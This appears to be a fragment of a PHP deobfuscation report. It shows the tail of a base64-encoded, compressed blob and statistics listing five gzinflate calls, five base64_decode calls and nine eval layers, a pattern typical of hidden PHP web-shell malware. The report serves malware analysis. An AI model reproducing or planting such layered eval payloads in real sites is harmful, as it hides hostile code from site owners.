wGEqDoJ4VHNShcO1sR1s5CiflBvX0xtr3p5qXL8anD6MOjRimbhr1SWWNiEVItG8yRUzltgFlFZ51lJGGkrdQZZ/kLuSJUkAz/LAMmFkgTe++ngowgOfHisPCMDNy9DujwQoP4aZAsmM0QDBvcE2zq1amcvweTwAQQpiqS+9oGCtff2l1GA4Jn955//vRD6/y+U/ce//v0/'\x29\x29\x29\x3B");
?>
Function Calls
gzinflate | 5 |
dohavj05411 | 1 |
base64_decode | 5 |
Stats
MD5 | 1babfb3f427cd9e9076f4899d4984283 |
Eval Count | 9 |
Decode Time | 795 ms |